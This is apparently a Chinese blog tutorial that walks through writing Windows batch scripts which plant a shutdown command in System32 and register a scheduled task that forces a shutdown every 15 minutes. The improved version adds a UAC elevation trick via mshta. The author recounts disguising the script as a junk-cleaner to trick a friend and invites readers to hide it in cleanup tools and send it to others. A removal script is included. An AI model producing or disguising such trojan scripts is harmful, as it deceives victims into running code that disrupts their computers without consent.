头条的程序猿们,大家好。我是程序员小白。
前两天我的损友发给我一个bat脚本文件,就是这货。

作为专业撸代码三十余年的我来说,这一看就有问题啊。于是我就默默地用记事本打开了这个脚本文件,结果不出所料,是一句关机指令。

我这暴脾气是吧,当然不能忍啊,分分钟我也写了一个脚本,每次开机之后都会定时关机。为了不让他引起怀疑,我还特意伪装成了一个系统垃圾清理的bat脚本文件。结果这货每天都在重启中度过。昨天开始怀疑我了,我得赶紧躲几天。
背景介绍完毕,进入正题,前方高能请各位自行购买人身意外险。
工具准备:
计算机一台。
工作原理:
利用windows系统的任务计划,定时执行脚本文件(不懂得自行问度娘)。
开工:
-
在桌面上新建文本文件,并用记事本打开(我这里用editplus,个人感觉很好用)。
-
在文本中输入以下代码(后附代码分析)
echo shutdown -s -t 5 > %SystemRoot%\system32\link.cmd
SCHTASKS /Create /TN gaming /TR %SystemRoot%\system32\link.cmd /ST 00:00 /SC MINUTE /MO 15
3.将文件保存,并修改文件后缀名为.bat。(不会修改后缀名的自行问度娘)
大功告成,快来双击运行一下吧。o((>ω< ))o
咦?等了一天怎么也没关机?
原来是权限问题,因为要在C盘创建文件,直接双击打开没有最高权限无法执行,只能通过右键以管理员方式运行获取权限。这样可不行啊,我那个智障损友肯定不懂这些,下面改进一下代码。
代码改进:
@Echo Off
If Not "%~1"=="H" (
mshta vbscript:"<script language=vbs>Set UAC=CreateObject(""Shell.Application""):UAC.ShellExecute ""%~s0"", ""H"", """", ""runas"", 1:window,close</script>"
Exit
)
echo shutdown -s -t 5 > %SystemRoot%\system32\link.cmd
SCHTASKS /Create /TN gaming /TR %SystemRoot%\system32\link.cmd /ST 00:00 /SC MINUTE /MO 15
echo.

这下总算大功告成了,亲测可用。大家都来运行一下试试呀。
下面教大家解除自动关机
-
另外新建一个文本文件,输入以下代码,并保存成.bat文件
@Echo Off
If Not "%~1"=="H" (
mshta vbscript:"<script language=vbs>Set UAC=CreateObject(""Shell.Application""):UAC.ShellExecute ""%~s0"", ""H"", """", ""runas"", 1:window,close</script>"
Exit
)
schtasks /delete /tn gaming /f
del %SystemRoot%\system32\link.cmd
Pause
echo.

至此脚本就编写完了,喜欢谁就发给谁吧。
下面我简单讲解一下代码的意思
echo shutdown -s -t 5 > %SystemRoot%\system32\link.cmd
这句话的意思是,在C:\Windows\System32下新建一个关机命令文件。其中link.cmd是文件名。
SCHTASKS /Create /TN gaming /TR %SystemRoot%\system32\link.cmd /ST 00:00 /SC MINUTE /MO 15
这句话的意思是,在系统中创建一个名为 gaming的任务计划,并于00:00开始 每隔5分钟执行一次刚才创建的名为link.cmd的脚本。
大家如果觉得15分钟太长了可用自行修改或者搜一些dos命令创建任务计划的资料。
另外,如果觉得这样干太明显了,可用自行将这段代码隐藏到一些bat脚本工具中,比如系统垃圾情理之类的。如果感兴趣的,也可以关注我,找我要现成的代码。(头条上禁止发链接)
好了,本次教程就到这里了。我是程序员小白,喜欢我的可用加关注,我会不定期更新更多好玩儿的教程分享给大家。
微信关注:chengxuyuanxb(程序员xb),获取最新代码。
(程序员小白原创文章,转载请标明出处,侵权必究)